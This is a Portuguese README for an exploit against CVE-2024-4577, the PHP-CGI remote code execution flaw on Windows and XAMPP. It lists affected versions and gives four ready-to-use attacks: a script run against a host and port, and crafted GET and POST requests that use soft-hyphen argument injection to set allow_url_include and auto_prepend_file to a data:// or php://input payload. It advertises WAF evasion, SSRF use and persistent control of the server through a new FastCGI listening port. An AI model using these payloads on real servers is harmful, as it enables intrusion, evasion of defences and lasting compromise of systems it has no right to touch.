CVE-2024-4577-PHP-RCE

Descrição do Projeto e Princípio

• Primeiro exploit do mundo para a vulnerabilidade CVE-2024-4577 PHP-CGI RCE usando o ambiente PHP padrão (XAMPP).
• O primeiro exploit do mundo para CVE-2024-4577 PHP-CGI RCE utilizando o ambiente PHP padrão. Compartilhando exploit original, suporta SSRF, suporta bypass de WAF.
• Implementa RCE no ambiente PHP padrão. Princípio: cgi.force_redirect + REDIRECT-STATUS.
• Novo exploit original, suporta cenários de bypass de WAF. Princípio: estabelecimento de servidor FastCGI + comunicação via protocolo FastCGI.
• Novo exploit original, suporta cenários SSRF. Princípio: protocolo data:// + requisição GET.

Vantagens do EXP 1

• RCE sem necessidade de allow_url_include, auto_prepend_file, auto_append_file. Pode incluir arquivos arbitrários e arquivos PHP.
• Não aparecem as palavras‑chave frequentemente bloqueadas pelo WAF: allow_url_include, auto_prepend_file, auto_append_file.
• Toda comunicação do servidor FastCGI não é registrada pelo WAF.
• Escuta em nova porta, assim implementa controle persistente do servidor PHP, independente do Apache e PHP.

Visão Geral da Vulnerabilidade

Versões Afetadas

• PHP versão Windows 8.3.0 <= versões afetadas < 8.3.8
• PHP versão Windows 8.2.0 <= versões afetadas < 8.2.20
• PHP versão Windows 8.1.0 <= versões afetadas < 8.1.29
• PHP versão Windows versões afetadas == 8.0.x
• PHP versão Windows versões afetadas == 7.x
• PHP versão Windows versões afetadas == 5.x
• XAMPP versão Windows 8.2.0 <= versões afetadas <= 8.2.12
• XAMPP versão Windows 8.1.0 <= versões afetadas <= 8.1.25
• XAMPP versão Windows versões afetadas == 8.0.x
• XAMPP versão Windows versões afetadas == 7.x
• XAMPP versão Windows versões afetadas == 5.x

EXP 1

Pode ser usado para cenários de bypass de WAF + cenário padrão:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Exemplo:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Pode ser usado para cenários SSRF + cenário padrão:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Pode ser usado no cenário padrão:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Pode ser usado no cenário padrão:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reprodução

1. Ambiente do servidor:

XAMPP versão Windows 8.2.12

2. Baixar e instalar o XAMPP no servidor:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Ou escolha uma versão afetada em: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Configuração do servidor

Nenhuma modificação necessária, mantenha a configuração padrão

4. Cliente usando o EXP

Use um dos EXP acima para testar

5. Verificação

Observe se a string "TesT" ou o conteúdo do arquivo system.ini do servidor é retornado